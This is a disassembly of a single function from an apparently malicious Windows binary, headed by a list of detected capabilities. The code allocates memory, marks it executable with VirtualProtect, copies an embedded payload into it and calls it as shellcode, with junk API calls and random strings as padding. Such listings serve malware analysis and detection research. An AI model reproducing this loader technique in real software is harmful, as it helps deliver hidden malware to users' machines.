Function at 0x401666
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Get hostname
Set file attributes
Terminate thread

Disassembly:
mov eax, 0x411138
call fcn.00411104
mov eax, 0x1444
call fcn.00407710
mov ecx, dword [0x19f74b0]
push ebx
xor ebx, ebx
push esi
cmp ecx, 0x93
jne 0x401741
push str.sofuvarixatinu
call dword [sym.imp.KERNEL32.dll_AddAtomA]
xor eax, eax
push ebx
btr dword [eax], 0
lea eax, [ebp - 0x144c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
lea eax, [ebp - 0x84c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call fcn.00403e33
pop ecx
push ebx
call fcn.00402e24
pop ecx
xorps xmm1, xmm1
xorps xmm0, xmm0
call fcn.00401080
push str.bad_exception
lea ecx, [ebp - 0x20]
call fcn.004010c6
lea ecx, [ebp - 0x20]
call fcn.004010e2
push ebx
call fcn.00403e9f
pop ecx
push ebx
call fcn.004039a3
pop ecx
push ebx
call fcn.00404136
pop ecx
push ebx
call fcn.004039a3
mov dword [esp], 0x4177b0
call fcn.004039cd
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00401d86
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], ebx
call fcn.00401d93
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00401dc0
mov ecx, dword [0x19f74b0]
mov eax, dword [0x41aab0]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x19f74b4], eax
mov dword [0x19f74b0], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x28]
mov dword [0x19f6ea4], eax
push ecx
push 0x40
push dword [0x19f74b0]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0xa90ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x40177c
mov edx, dword [0x19f74b0]
mov esi, ebx
test edx, edx
je 0x4017f3
mov eax, dword [0x19f74b4]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x19f6ea4]
mov byte [eax + esi], cl
cmp edx, 0x490
jne 0x4017ee
push ebx
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push str.kijobehiyirokajuki_cihikuv_vepocitaxerasulejucet
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
lea eax, [ebp - 0x144c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0xc4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov edx, dword [0x19f74b0]
inc esi
cmp esi, edx
jb 0x401791
mov esi, ebx
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x401834
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
push ebx
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push ebx
push ebx
push 0x4177b4
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov edx, dword [0x19f74b0]
inc esi
cmp esi, 0x38681
jl 0x4017f5
push ecx
call fcn.00401623
mov esi, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x62
jne 0x401856
call fcn.0040164a
inc esi
cmp esi, 0x674db
jl 0x401845
push 0x7b
pop esi
cmp dword [0x19f74b0], 0x86
jne 0x4018a2
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
push 0x417870
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x48]
push eax
push str.givekumenozuzatajovoxus
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x19f74b0], 0xf
jne 0x4018b9
push str.wakiyariyujavuj
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec esi
jne 0x401862
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x19f6ea4]
mov dword [0x19f74a4], eax
call eax
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret